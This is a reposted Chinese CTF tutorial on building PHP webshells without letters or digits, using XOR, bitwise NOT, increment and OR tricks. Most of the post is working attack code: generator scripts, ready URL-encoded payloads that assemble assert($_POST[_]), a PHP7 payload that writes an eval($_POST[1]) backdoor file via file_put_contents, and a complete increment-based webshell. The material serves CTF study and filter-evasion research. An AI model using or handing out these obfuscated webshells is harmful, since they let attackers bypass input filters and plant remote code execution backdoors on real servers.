我是靠谱客的博主 俭朴煎饼,最近开发中收集的这篇文章主要介绍【CTF】通过符号构造字母数字知识点方法,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

通过符号构造字母数字

  • 知识点
  • 方法
    • 方法一:利用异或运算——绕过正则匹配
    • 方法二:取反
      • PHP5
      • PHP7
    • 方法三:自增自减
    • 方法四:或

知识点

  • 异或:^xor参加运算的两个对象,如果两个相应位为“异”(值不同),则该位结果为1,否则为 0。异或运算运用
  • 取反:~
  • 短标签:<? /*程序操作*/ ?><?=/*函数*/?>
  • 反引号:` ,起到命令执行的效果;将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。与其它某些语言不同,反引号不能在双引号字符串中使用。
  • PHP5及PHP7的区别
PHP5PHP7
assert()是一个函数,我们可以用$_=assert;$_()这样的形式来执行代码assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法
不支持($a)()这种调用方法的支持这种调用方法,因此支持这么写('phpinfo')();

方法

不能用字母数字时,我们可以通过异或,取反,自增自减,或等位运算利用特殊字符构造出字母数字,再利用php动态函数名的特性来构造webshell。

方法一:利用异或运算——绕过正则匹配

php对字符进行异或运算是先将字符转换成ASCII码然后进行异或运算,并且php能直接对一串字符串进行异或运算,例如"123"^"abc"是"1"与"a"进行异或然后"2"与"b"进行异或,以此类推,在异或结束后就获得了想要的字符串。

使用以下脚本,将字母转换为符号,绕过正则匹配

<?php
$shell = "assert";//这里写要转换成符号的字母
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
	//33~126为ASCII可显示字符,可按题目要求进行修改
	//若有控制符,即不可显示字符,需要URL编码,即使用函数urlencode()
    for($x=33;$x<=126;$x++)
    {
    	//chr函数将相应的ASCII码值转换成字符;再与字母数字做匹配,不匹配继续执行
        if(judge(chr($x)))
        {
            for($y=33;$y<=126;$y++)
            {
                if(judge(chr($y)))
                {
                	//将两个字符进行异或,看是否匹配
                    $f = chr($x)^chr($y);
                    if($f == $shell[$num])
                    {
                        $result1 .= chr($x);
                        $result2 .= chr($y);
                        break 2;
                    }
                }
            }
        }
    }
}
echo $result1;
echo "<br>";
echo $result2;
//判断是否与数字字母匹配,不匹配返回true
function judge($c)
{
    if(!preg_match('/[a-z0-9]/is',$c))
    {
        return true;
    }
    return false;
}

例如要构造assert($_POST[_]),即构造payload:

$_=('%40%5B%5B%40%5B%5B'^'%21%28%28%25%29%2F'); //assert
$__=('%40%40%40%40%40'^'%1F%10%0F%13%14'); //_POST
$__=$$__;  //$_POST
$_($__[_]); //assert($_POST[_])
  • php的eval()函数在执行时如果内部有类似"abc"^"def"的计算式,那么就先进行计算再执行,我们可以利用再创参数来实现更方便的操作,例如传入?a=$_GET[b],由于b不受限制就可以任意传值了。

  • 注意1:在测试过程中发现问题,类似phpinfo();的,需要将后面的();放在第个参数的后面,例如url?a={_GET}{b}();&b=phpinfo,也就是?a=KaTeX parse error: Expected '}', got 'EOF' at end of input: …pinfo,在传入后实际上为`{???^???}{?}();但是到了eval()函数内部就会变成${_GET}{?}();`成功执行。

  • 注意2:测试中发现,传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用{}代替,原因是php的use of undefined constant特性,例如${_GET}{a}这样的语句php是不会判为错误的,因为{}使用来界定变量的,这句话就是会将_GET自动看为字符串,也就是$_GET[‘a’]

方法二:取反

PHP5

  • 利用取反的原理,对汉字取反获得字符

    脚本点这里:https://github.com/duduwjr/11/blob/main/%E5%AF%B9%E6%B1%89%E5%AD%97%E5%8F%96%E5%8F%8D%E8%8E%B7%E5%BE%97%E5%AD%97%E7%AC%A6.php
    webshell如下

    <?php
    $_++;   //得到1,此时$_=1
    $__ = "极";
    $___ = ~($__{$_});   //得到a,此时$___="a"
    $__ = "区";
    $___ .= ~($__{$_});   //得到s,此时$___="as"
    $___ .= ~($__{$_});   //此时$___="ass"
    $__ = "皮";
    $___ .= ~($__{$_});   //得到e,此时$___="asse"
    $__ = "十";
    $___ .= ~($__{$_});   //得到r,此时$___="asser"
    $__ = "勺";
    $___ .= ~($__{$_});   //得到t,此时$___="assert"
    $____ = '_';   //$____='_'
    $__ = "寸";
    $____ .= ~($__{$_});   //得到P,此时$____="_P"
    $__ = "小";
    $____ .= ~($__{$_});   //得到O,此时$____="_PO"
    $__ = "欠";
    $____ .= ~($__{$_});   //得到S,此时$____="_POS"
    $__ = "立";
    $____ .= ~($__{$_});   //得到T,此时$____="_POST"
    $_ = $$____;   //$_ = $_POST
    $___($_[_]);   //assert($_POST[_])
    
  • 字符串取反后得到非字母数字的字符,然后用该字符和取反符号配合使用构造webshell。

    <?php
    $a="assert";
    $b=~$a;
    echo urlencode($b);//URL编码后在输出
    echo "<br>";
    $c='_POST';
    $d=~$c;
    echo urlencode($d);//URL编码后在输出
    ?>
    
    

    webshell:$_=~(%9E%8C%8C%9A%8D%8B);$__=~(%A0%AF%B0%AC%AB);$___=$$__;$_($___[_]); //密码为_

PHP7

因为php7不能直接用assert构造webshell,所以我们可以选择file_put_contents()来写入shell。

php7支持 ($a)()这种动态函数名的格式,所以我们不用再声明其他变量了。

<?php
$a="file_put_contents";
$b=~$a;
echo urlencode($b);
echo "<br>";
$file='4.php';
$d=~$file;
echo urlencode($d);
echo "<br>";
$con="<?php eval($_POST[1]);";
$e=~$con;
echo urlencode($e);
?>

payload:(~(%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C))(~(%CB%D1%8F%97%8F),~(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4)); //file_out_contents('4.php','<?php eval($_POST[1]);');

方法三:自增自减

PHP5
"A"++ ==> "B"
"B"++ ==> "C"

利用这种方法,只需要获取一个变量,通过自增操作即可获得A-Z、a-z中所有字符。
那么应该怎样获得这个变量呢?在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array;Array的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

<?php
$a = ''.[];
var_dump($a);//结果就为array

得到webshell如下:

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

由于PHP中函数对大小写不敏感,所以我们最终执行的是ASSERT()而不是assert()

方法四:或

也就是将异或符号改成或即可,方法类似

<?php
$shell="assert";
$r1="";
$r2="";
for($n=0;$n<strlen($shell);$n++){
	for($i=0;$i<126;$i++){
		for($j=0;$j<126;$j++){
			if(preg_match('/[0-9]|[a-z]/i',chr($i)) || preg_match('/[0-9]|[a-z]/i',chr($j))){
				break;
			}
			$a=chr($i) | chr($j);
			if($a==$shell[$n]){
				$r1.=chr($i);
				$r2.=chr($j);
				break 2;
			}
		}
	}
}

echo urlencode($r1);
echo "<br>";
echo urlencode($r2);
?>

以上脚本均参考以下文章
参考链接https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
参考链接https://xz.aliyun.com/t/8107#toc-6
参考链接https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html?page=2#glob
参考链接https://blog.csdn.net/weixin_46330722/article/details/112898103

最后

以上就是俭朴煎饼为你收集整理的【CTF】通过符号构造字母数字知识点方法的全部内容,希望文章能够帮你解决【CTF】通过符号构造字母数字知识点方法所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(57)

评论列表共有 0 条评论

立即
投稿
返回
顶部